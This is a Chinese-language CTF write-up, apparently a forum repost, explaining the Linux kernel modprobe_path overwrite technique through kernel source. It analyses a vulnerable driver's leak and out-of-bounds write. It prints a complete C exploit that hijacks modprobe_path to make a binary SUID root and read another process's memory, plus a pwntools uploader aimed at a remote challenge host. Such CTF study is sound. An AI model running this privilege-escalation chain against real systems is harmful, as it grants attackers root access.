赛后搞到了 WP,于是正好趁着元旦假期有时间好好复现一下,分析了一下这道题的利用技术的原理,于是就有了这篇文章。
modprobe_path覆盖利用技术是一种 Linux 内核漏洞利用方法,它可以让攻击者以 root 权限运行任意 shell 脚本。
modprobe_path覆盖利用技术的关键是覆盖掉modprobe_path内核全局变量,它的默认值为/sbin/modprobe程序的路径,modprobe是一个用于向 Linux 内核添加可加载内核模块,或从内核中移除可加载内核模块的工具。本质上它是一个用户态程序,当我们在 Linux 内核中安装或卸载新模块时会被执行。
我们可以通过运行以下命令检查:
❯ cat /proc/sys/kernel/modprobe/sbin/modprobemodprobe_path变量中的程序,会在我们执行一个系统无法识别文件类型的非法格式文件(无效魔数)时被调用。简单说一般我们执行 shell 文件时文件签名是#!/bin/bash,这是合法的文件格式,系统可以识别。而我们执行一个文件签名为\xff\xff\xff\xff的文件时内核会进行一系列操作,最终触发并以 root 权限执行modprobe_path变量中的程序。
因此如果我们将modprobe_path变量覆盖修改为想要执行的程序,然后再执行一个非法格式文件就可以以 root 权限执行我们想要执行的目标程序。
但是如果内核开启了CONFIG_STATIC_USERMODEHELPER内核配置选项,那么会将内核执行用户态 helper 的路径从运行时可变的全局变量改为编译期固定的常量,这样我们就无法对modprobe_path进行覆盖修改。
总结一下modprobe_path覆盖利用技术需要满足以下条件:
modprobe_path变量;\xff\xff\xff\xff;CONFIG_STATIC_USERMODEHELPER选项。基本上,在大多数的 kernel pwn 题目中,条件 2 和条件 3 都是直接满足的,因此最关键的问题在于是否具备任意地址写的能力以及内核是否开启了CONFIG_STATIC_USERMODEHELPER选项。
询问了一下 GPT 给了一个检查内核是否开启CONFIG_STATIC_USERMODEHELPER选项的方法:
#修改modprobeecho /tmp/test > /proc/sys/kernel/modprobe#检查是否修改成功cat /proc/sys/kernel/modprobe如果修改成功则CONFIG_STATIC_USERMODEHELPER选项未开启,不成功则开启。
接下来我们通过分析 Linux 内核的源代码,详细了解覆盖modprobe_path利用技术的原理。
当我们在 Linux Shell 中执行命令时(例如bash中执行ls),本质上会由 Shell 程序内部调用execve系统调用来加载并执行对应的程序。
execve系统调用会设置可执行文件路径、命令行参数数组以及环境变量数组等信息,然后调用do_execve,它才是真正负责执行程序加载的核心函数。
SYSCALL_DEFINE3(execve,constchar __user *, filename, // 参数1:可执行文件路径constchar __user *const __user *, argv, // 参数2:命令行参数数组constchar __user *const __user *, envp) // 参数3:环境变量数组{return do_execve(getname(filename), argv, envp); //getname从用户态读取filename}do_execve函数会对传入的可执行文件路径、参数数组和环境变量数组进行封装与处理,然后将执行流程统一转交给do_execveat_common,由后者完成后续的程序加载与执行逻辑。
staticintdo_execve(struct filename *filename,constchar __user *const __user *__argv,constchar __user *const __user *__envp){struct user_arg_ptr argv = { .ptr.native = __argv };struct user_arg_ptr envp = { .ptr.native = __envp };// AT_FDCWD为当前工作目录return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);}do_execveat_common负责构建并填充linux_binprm,完成命令行参数和环境变量的准备工作。
linux_binprm是 Linux 内核中 描述一个即将被execve执行的可执行文件及其执行上下文的核心数据结构,是execve执行流程中的“载体”,保存了程序加载所需的全部信息。
do_execveat_common最终会调用bprm_execve,进入真正的二进制加载流程。bprm_execve是execve执行路径中最关键的通用入口函数。
static int do_execveat_common(int fd, struct filename *filename,struct user_arg_ptr argv,struct user_arg_ptr envp, int flags){struct linux_binprm *bprm; //描述 int retval;if (IS_ERR(filename))return PTR_ERR(filename);if ((current->flags & PF_NPROC_EXCEEDED) && //防止进程数超限仍不断 execis_rlimit_overlimit(current_ucounts(), UCOUNT_RLIMIT_NPROC, rlimit(RLIMIT_NPROC))) { retval = -EAGAIN; goto out_ret; } current->flags &= ~PF_NPROC_EXCEEDED; bprm = alloc_bprm(fd, filename, flags);if (IS_ERR(bprm)) { retval = PTR_ERR(bprm); goto out_ret; } retval = count(argv, MAX_ARG_STRINGS);if (retval == 0)pr_warn_once("process '%s' launched '%s' with NULL argv: empty string added\n", current->comm, bprm->filename);if (retval < 0) goto out_free; bprm->argc = retval; retval = count(envp, MAX_ARG_STRINGS);if (retval < 0) goto out_free; bprm->envc = retval; retval = bprm_stack_limits(bprm);if (retval < 0) goto out_free; retval = copy_string_kernel(bprm->filename, bprm);if (retval < 0) goto out_free; bprm->exec = bprm->p; retval = copy_strings(bprm->envc, envp, bprm);if (retval < 0) goto out_free; retval = copy_strings(bprm->argc, argv, bprm);if (retval < 0) goto out_free;if (bprm->argc == 0) { retval = copy_string_kernel("", bprm);if (retval < 0) goto out_free; bprm->argc = 1; } retval = bprm_execve(bprm); //进入真正的执行阶段out_free:free_bprm(bprm);out_ret:putname(filename);return retval;}bprm_execve函数会先对被加载程序的信息准备凭证与安全检查,最后调用exec_binprm函数加载可执行文件。
static int bprm_execve(struct linux_binprm *bprm){int retval; retval = prepare_bprm_creds(bprm); //准备执行凭据if (retval)return retval; check_unsafe_exec(bprm); current->in_execve = 1; //执行状态标记,表示当前进程正处于 execve 中 sched_mm_cid_before_execve(current); //检查是否允许执行,是否运行提权 sched_exec(); retval = security_bprm_creds_for_exec(bprm);if (retval)goto out; retval = exec_binprm(bprm); //进入二进制加载核心if (retval < 0)goto out; sched_mm_cid_after_execve(current); current->in_execve = 0; rseq_execve(current); user_events_execve(current); acct_update_integrals(current); task_numa_free(current, false);return retval;out:if (bprm->point_of_no_return && !fatal_signal_pending(current)) force_fatal_sig(SIGSEGV); sched_mm_cid_after_execve(current); current->in_execve = 0;return retval;}exec_binprm函数负责在执行过程中选择并执行合适的二进制格式处理器,通过循环解析解释器链,最终完成可执行文件的确定并触发执行成功事件通知。
其中最重要的逻辑就是解析选择合适的二进制格式处理器部分,因此我们接下来需要跟进search_binary_handler函数分析。
static int exec_binprm(struct linux_binprm *bprm){ pid_t old_pid, old_vpid; int ret, depth; old_pid = current->pid; //保存执行前的 PID 信息rcu_read_lock(); old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));rcu_read_unlock();//解析主循环for (depth = 0;; depth++) {struct file *exec;if (depth > 5)return -ELOOP; ret = search_binary_handler(bprm); //根据文件内容选择合适的处理器if (ret < 0)return ret;if (!bprm->interpreter)break; exec = bprm->file; // 解释器替换,下一轮执行的主角从原文件变成解释器本身 bprm->file = bprm->interpreter; bprm->interpreter = NULL;allow_write_access(exec);if (unlikely(bprm->have_execfd)) {if (bprm->executable) {fput(exec);return -ENOEXEC; } bprm->executable = exec; } elsefput(exec); }//执行成功后的系统通知audit_bprm(bprm);trace_sched_process_exec(current, old_pid, bprm);ptrace_event(PTRACE_EVENT_EXEC, old_vpid);proc_exec_connector(current);return 0;}search_binary_handler函数会在formats链表中寻找合适的文件加载器。formats是一个包含所有已注册的可执行格式文件解析器。
static int search_binary_handler(struct linux_binprm *bprm){bool need_retry = IS_ENABLED(CONFIG_MODULES);struct linux_binfmt *fmt; int retval; retval = prepare_binprm(bprm); //读取文件前 128 字节if (retval < 0)return retval; retval = security_bprm_check(bprm); //安全检查if (retval)return retval; retval = -ENOENT; retry:read_lock(&binfmt_lock);// 解析器匹配循环list_for_each_entry(fmt, &formats, lh) {if (!try_module_get(fmt->module))continue;read_unlock(&binfmt_lock); retval = fmt->load_binary(bprm); //检查文件魔数,判断文件格式read_lock(&binfmt_lock);put_binfmt(fmt);if (bprm->point_of_no_return || (retval != -ENOEXEC)) {read_unlock(&binfmt_lock);return retval; } }read_unlock(&binfmt_lock);//没有找到解析器if (need_retry) {if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&printable(bprm->buf[2]) && printable(bprm->buf[3]))return retval;if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)return retval; need_retry = false; goto retry; }return retval;}常见的解析器:
elf_format: ELF 可执行程序;compat_elf_format:兼容 ELF(与 ELF 基本相同);script_format:#!开头的脚本;misc_format:其他格式,由内核模块注册。每种解析器包含一个关键字段load_binary,其中包含着对应格式的加载函数。
检查文件魔数,匹配解析器:
retval = fmt->load_binary(bprm); //检查文件魔数,判断文件格式例如 ELF 格式:
//检查是否为 ELF 魔数 \x7FELFif (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)goto out;如果成功匹配到解析器,内核将调用该格式对应格式的加载函数完成可执行文件的加载(如 ELF 文件或 shell 文件)。
如果没有匹配到解析器,且文件的前 4 字节不可打印(非 ASCII),内核会进入一个兜底处理流程。在在该流程中,内核会根据可执行文件头部的魔数值,动态请求加载对应的 binfmt 内核模块。具体做法是从文件头的第 3、4 字节读取一个 16 位数值,并将其格式化为模块名binfmt-xxxx,随后调用request_module触发模块加载:
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)return retval;request_module其实是一个宏,真正执行的是__request_module函数:
#definerequest_module(mod...) __request_module(true, mod)__request_module函数最终会调用call_modprobe函数。
int __request_module(bool wait, const char *fmt, ...){ va_list args; char module_name[MODULE_NAME_LEN];int ret, dup_ret; WARN_ON_ONCE(wait && current_is_async());if (!modprobe_path[0])return -ENOENT; va_start(args, fmt); ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args); va_end(args);if (ret >= MODULE_NAME_LEN)return -ENAMETOOLONG; ret = security_kernel_module_request(module_name);if (ret)return ret; ret = down_timeout(&kmod_concurrent_max, MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);if (ret) { pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now", module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);return ret; } trace_module_request(module_name, wait, _RET_IP_);if (kmod_dup_request_exists_wait(module_name, wait, &dup_ret)) { ret = dup_ret;goto out; } ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);out: up(&kmod_concurrent_max);return ret;}EXPORT_SYMBOL(__request_module);call_modprobe是内核模块自动加载路径中真正执行用户态程序的函数:
static int call_modprobe(char *orig_module_name, int wait){struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL };char *module_name;int ret;char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);if (!argv)goto out; module_name = kstrdup(orig_module_name, GFP_KERNEL);if (!module_name)goto free_argv; argv[0] = modprobe_path; argv[1] = "-q"; argv[2] = "--"; argv[3] = module_name; argv[4] = NULL; info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name; ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE); kmod_dup_request_announce(orig_module_name, ret);return ret;free_module_name: kfree(module_name);free_argv: kfree(argv);out: kmod_dup_request_announce(orig_module_name, -ENOMEM);return -ENOMEM;}这部分代码的关键点:通过call_usermodehelper_setup封装好execve需要的所有信息,然后调用call_usermodehelper_exec函数以 root 权限执行modprobe_path的值。
argv[0] = modprobe_path; argv[1] = "-q"; argv[2] = "--"; argv[3] = module_name; argv[4] = NULL; info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name; ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);默认的modprobe_path值是:
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;CONFIG_MODPROBE_PATH来自内核配置,默认为/sbin/modprobe。
所以如果我们修改了modprobe_path的值,并执行一个非法格式文件后就会执行modprobe_path的值。
modprobe_path的值覆盖为你的 shell 脚本;\xff\xff\xff\xff);request_module函数;request_module调用call_modprobe函数执行modprobe_path的值;modprobe_path的值因为被覆盖为你的 shell 脚本,所以会以 root 权限执行它。前面已经说过启用CONFIG_STATIC_USERMODEHELPER选项就会导致modprobe_path覆盖利用技术失效,这里结合代码分析一下原因。
在call_usermodehelper_setup中,如果CONFIG_STATIC_USERMODEHELPER配置选项启用,那么就会执行以下代码:
#ifdef CONFIG_STATIC_USERMODEHELPER sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;此时内核会强制使用静态、编译时写死的路径,而忽略modprobe_path,从而使得modprobe_path覆盖技术失效。
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"下载题目:https://pan.baidu.com/s/1by2RA-cR4w6TA1SOai2tsA?pwd=cv5d
题目提供了三个文件:
bzImage:内核镜像rootfs.cpio:文件系统start.sh:启动脚本首先分析启动脚本:
qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off" \ -cpu qemu64,+smep,+smap \ -smp cores=2,threads=1 \ -nographic保护机制:
+smep:禁止内核执行用户态代码;+smap:禁止内核访问用户态数据;rodata=off:只读数据保护关闭。只读数据保护关闭会导致.rodata段可写,这样的话即使modprobe_path是常量,也能被覆盖。这样就直接绕过了CONFIG_STATIC_USERMODEHELPER的防护。
然后解压rootfs.cpio分析文件系统:
mkdir rootfscd rootfscpio -idvm < ../rootfs.cpio 在init启动脚本中发现内核加载了babydev.ko内核模块,并在后台运行eatFlag程序。
#!/bin/shmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devecho "[*] Welcome to Kernel PWN Environment"echo "[*] Starting shell..."insmod /home/babydev.kochmod 777 /dev/noc /tmpcp /proc/kallsyms /tmp/coresysms.txt/home/eatFlag &exec /bin/sh# exec su -s /bin/sh ctfida 逆向分析eatFlag程序发现它会在程序启动时读取/flag的内容并存放在堆内存中,然后删除该文件。所以我们只能从eatflag程序的堆内存中读取到 flag。

flag指针是固定地址,很明显程序是没有开启 PIE 的,所以可以从flag指针读取 flag 的值。

接着 ida 逆向分析babydev.ko模块,查看函数表的函数,其中__pfx_开头的是内核在符号层面生成的前缀符号。

接下来首先分析init_module函数,它是内核模块加载入口。
init_module函数init_module函数初始化了一个名为noc的字符设备,创建了/dev/noc供用户态交互,并分配了一个约 64KB 的全局内核堆缓冲区global_buf。

dev_ioctl函数发现内核地址泄露漏洞:

由于dest变量在站的布局之后就是v11变量。所以copy_to_user复制 40 字节的数据到用户态会将v11的值也给复制到用户态。
我们可以通过访问这个ioctl接口获取到泄露的数据。

dev_open函数dev_open在设备首次打开时分配一块内核堆内存,记录当前进程的 PID 和进程名,并将该堆指针保存到file->private_data,同时通过全局标志限制设备只能被单次打开。

dev_write函数函数中的v4变量是当前文件偏移,v6变量是实际写入长度。
当v4 + a3 > 0x10000时,驱动试图通过v6 = -*a4截断写入长度,但由于v6为无符号整型,该赋值触发了 signed 到 unsigned 的隐式转换,导致v6变成一个极大的正数。
随后该长度被直接用于copy_from_user,且写入地址由global_buf + data_start + f_pos计算,在缺乏完整边界检查的情况下,最终形成可控偏移、可控长度的内核堆越界写漏洞。

dev_read函数dev_read根据file->f_pos从global_buf的有效数据区向用户态拷贝数据,并在读完后推进文件偏移,逻辑等价于一个简单的内存文件读取实现。

dev_seek函数该函数实现了设备的lseek操作(偏移定位),根据a3参数的值选择模式。如果a3为 1 则新位置为当前文件指针加上a2偏移参数。如果a3为 2 则新位置为文件末尾加上偏移。如果a3参数为 3,则新位置等于偏移。
通过这个函数我们可以控制文件偏移配合dev_write函数进行越界写利用。

dev_release函数在关闭设备文件时原子递减打开计数并释放filp->private_data。

cleanup_module函数cleanup_module在模块卸载时释放init_module中申请的内核资源。

modprobe_path覆写:
ioctl泄露的内核地址typedef struct {uint32_t proc_id;char proc_name[16];uint32_t mem_free;uint32_t mem_used;uint64_t mem_ptr;} leak_data_t;// 打开漏洞设备int dev_fd = open("/dev/noc", O_RDWR); if (dev_fd < 0) return 1;// 通过ioctl泄露内核信息leak_data_t leak = {0}; ioctl(dev_fd, 0x83170405, &leak);uint64_t kern_buf = leak.mem_ptr;/proc/kallsyms获取modprobe_path地址staticuint64_tget_kernel_sym(constchar *name) { FILE *fp = fopen("/tmp/coresysms.txt", "r"); //临时文件if (!fp) fp = fopen("/proc/kallsyms", "r"); //内核符号表路径if (!fp) return 0;char row[512], sym_name[256], sym_type;unsignedlonglong sym_addr;while (fgets(row, sizeof(row), fp)) {// 解析符号表格式:地址 类型 符号名if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {if (!strcmp(sym_name, name)) { // 找到目标符号fclose(fp); return (uint64_t)sym_addr; } } }fclose(fp); return 0;}// 获取内核符号 modprobe_path 地址函数uint64_t target_sym = get_kernel_sym("modprobe_path");modprobe_path与kbase的偏移// 分配填充数据char *padding = malloc(0x10000); memset(padding, 'A', 0x10000);// 写入大量数据填充缓冲区write(dev_fd, padding, 0x10000); lseek(dev_fd, 0, SEEK_SET); // 重置文件偏移write(dev_fd, padding, 0x20); // 再次写入部分数据free(padding);uint64_t offset = target_sym - kern_buf; // 计算目标符号相对于内核缓冲区的偏移// 拆分偏移:高56位作为基地址,低8位作为相对位置uint64_t base_addr = offset & ~0xffULL; // 清除低8位uint64_t rel_pos = offset & 0xffULL; // 只保留低8位uint64_t end_addr = base_addr + 1; // 结束地址start/end指针char *exploit_buf = calloc(1, 0xffff); // 构建利用缓冲区for (int idx = 0; idx < 7; idx++) // 写入基地址 exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;memcpy(exploit_buf + 7, &end_addr, 8); // 写入结束地址modprobe_path为/tmp/slseek(dev_fd, 0x10001, SEEK_SET); // 定位到越界位置write(dev_fd, exploit_buf, 0xffff); // 写入利用数据free(exploit_buf);char hijack_path[0x40] = {0}; strcpy(hijack_path, "/tmp/s"); // 要写入 modprobe_path 的路径// 定位到 modprobe_path 位置并写入新路径lseek(dev_fd, (off_t)rel_pos, SEEK_SET); write(dev_fd, hijack_path, sizeof(hijack_path));close(dev_fd);/tmp/s,将 exp 设置为 suid-rootstaticvoidcreate_helper(constchar *path, constchar *script) {int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777); // 创建可执行文件write(fd, script, strlen(script)); close(fd); chmod(path, 0777); // 设置执行权限}// 创建脚本/tmp/s,用于给当前程序设置 SUID 权限create_helper("/tmp/s","#!/bin/sh\n","chown root:root /tmp/exp\n","chmod 4755 /tmp/exp\n");modprobe机制// 触发modprobe执行函数staticvoidexec_trigger(void) {// 创建一个包含无效魔数的文件int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);unsignedchar header[4] = {0xff, 0xff, 0xff, 0xff}; // 无效魔数write(fd, header, 4); close(fd); chmod("/tmp/dummy", 0777); system("/tmp/dummy"); // 执行触发文件}exec_trigger();eatFlag进程内存读取 flag// 搜索目标进程staticintsearch_target_proc(void) { DIR *dp = opendir("/proc"); // 打开/proc目录if (!dp) return -1;struct dirent *ent; char link_path[128], real_path[256];while ((ent = readdir(dp))) {char *endp; long proc_id = strtol(ent->d_name, &endp, 10); // 转换为进程IDif (*endp) continue; // 如果不是数字目录则跳过// 构建/proc/[pid]/exe符号链接路径snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);if (len > 0) { real_path[len] = 0; // 确保字符串结束// 检查是否是目标进程if (!strcmp(real_path, "/home/eatFlag")) { closedir(dp); return (int)proc_id; // 返回目标进程ID } } }closedir(dp); return -1; // 未找到目标进程}// 读取 flag 函数staticvoidget_flag(void) {int proc_id = search_target_proc(); // 查找目标进程if (proc_id < 0) return;// 打开目标进程的内存文件char mem_file[64]; snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);int fd = open(mem_file, O_RDONLY); if (fd < 0) return;// 读取flag指针,固定偏移0x407148uint64_t secret_ptr = 0; pread(fd, &secret_ptr, 8, 0x407148);// 通过指针读取flag数据char secret_data[0x110] = {0}; pread(fd, secret_data, 0x100, (off_t)secret_ptr);printf("[!] FLAG: %s\n", secret_data); //打印 flagclose(fd);}#define _GNU_SOURCE#include <sys/stat.h>#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <sys/ioctl.h>#include <dirent.h>typedef struct {uint32_t proc_id;char proc_name[16];uint32_t mem_free;uint32_t mem_used;uint64_t mem_ptr;} leak_data_t;staticuint64_tget_kernel_sym(constchar *name) { FILE *fp = fopen("/tmp/coresysms.txt", "r");if (!fp) fp = fopen("/proc/kallsyms", "r");if (!fp) return 0;char row[512], sym_name[256], sym_type;unsignedlonglong sym_addr;while (fgets(row, sizeof(row), fp)) {if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {if (!strcmp(sym_name, name)) {fclose(fp);return (uint64_t)sym_addr; } } }fclose(fp);return 0;}staticintsearch_target_proc(void) { DIR *dp = opendir("/proc");if (!dp) return -1;struct dirent *ent;char link_path[128], real_path[256];while ((ent = readdir(dp))) {char *endp;long proc_id = strtol(ent->d_name, &endp, 10);if (*endp) continue;snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);if (len > 0) { real_path[len] = 0;if (!strcmp(real_path, "/home/eatFlag")) {closedir(dp);return (int)proc_id; } } }closedir(dp);return -1;}staticvoidget_flag(void) {int proc_id = search_target_proc();if (proc_id < 0) return;char mem_file[64];snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);int fd = open(mem_file, O_RDONLY);if (fd < 0) return;uint64_t secret_ptr = 0;pread(fd, &secret_ptr, 8, 0x407148);char secret_data[0x110] = {0};pread(fd, secret_data, 0x100, (off_t)secret_ptr);printf("[!] FLAG: %s\n", secret_data);close(fd);}staticvoidcreate_helper(constchar *path, constchar *script) {int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);write(fd, script, strlen(script));close(fd);chmod(path, 0777);}staticvoidexec_trigger(void) {int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);unsignedchar header[4] = {0xff, 0xff, 0xff, 0xff};write(fd, header, 4);close(fd);chmod("/tmp/dummy", 0777);system("/tmp/dummy");}intmain(void) {if (geteuid() == 0) {get_flag();return 0; }uint64_t target_sym = get_kernel_sym("modprobe_path");int dev_fd = open("/dev/noc", O_RDWR);if (dev_fd < 0) return 1;leak_data_t leak = {0};ioctl(dev_fd, 0x83170405, &leak);uint64_t kern_buf = leak.mem_ptr;char *padding = malloc(0x10000);memset(padding, 'A', 0x10000);write(dev_fd, padding, 0x10000);lseek(dev_fd, 0, SEEK_SET);write(dev_fd, padding, 0x20);free(padding);uint64_t offset = target_sym - kern_buf;uint64_t base_addr = offset & ~0xffULL;uint64_t rel_pos = offset & 0xffULL;uint64_t end_addr = base_addr + 1;char *exploit_buf = calloc(1, 0xffff);for (int idx = 0; idx < 7; idx++) exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;memcpy(exploit_buf + 7, &end_addr, 8);lseek(dev_fd, 0x10001, SEEK_SET);write(dev_fd, exploit_buf, 0xffff);free(exploit_buf);char hijack_path[0x40] = {0};strcpy(hijack_path, "/tmp/s");lseek(dev_fd, (off_t)rel_pos, SEEK_SET);write(dev_fd, hijack_path, sizeof(hijack_path));close(dev_fd);create_helper("/tmp/s","#!/bin/sh\n""chown root:root /tmp/exp\n""chmod 4755 /tmp/exp\n" );exec_trigger();execl("/tmp/exp", "exp", NULL);return 0;}#使用musl-gcc并剥离符号减少程序体积musl-gcc -o exp exp.c -static -Osstrip exp将exp放入文件系统并重打包。
mv exp ./rootfscd ./rootfsfind . -print0 | cpio --null -ov --format=newc > ../exp.cpio然后修改启动脚本加载的文件系统为exp.cpio:
#!/bin/shqemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./exp.cpio \ -monitor /dev/null \ -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off " \ -cpu qemu64,+smep,+smap \ -smp cores=2,threads=1 \ -nographic \ -snapshot执行exp然后成功拿到 flag:

最后附上一个打远程的脚本:
#!/usr/bin/env python3from pwn import *import base64, gzipwith open("./exp", 'rb') as f: binary_data = f.read()compressed = gzip.compress(binary_data)b64_data = base64.b64encode(compressed).decode('ascii')lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]io = remote("39.106.73.70", 30087)io.recvuntil(b'/ $')io.sendline(b'cat > /tmp/exp.gz.b64 << "EOF"')for line in lines:io.sendline(line.encode())io.sendline(b'EOF')io.recvuntil(b'/ $')io.sendline(b'base64 -d /tmp/exp.gz.b64 | gunzip > /tmp/exp')io.recvuntil(b'/ $')io.sendline(b'chmod +x /tmp/exp')io.recvuntil(b'/ $')io.sendline(b'/tmp/exp')output = io.recvall(timeout=20).decode(errors='ignore')print(output)由于这个补丁https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa1bdca98d74472dcdb79cb948b54f63b5886c04 被合并到上游内核,导致覆盖modprobe_path这个利用方法在新版本内核中作废了。
Linux 内核利用技术:覆盖modprobe_path - Midas 的博客
https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/#the-overwriting-modprobe_path-technique
复兴modprobe_path技术:克服search_binary_handler()补丁 - Theori BLOG
https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch

看雪ID:南行
https://bbs.kanxue.com/user-home-996690.htm

# 往期推荐


球分享

球点赞

球在看

点击阅读原文查看更多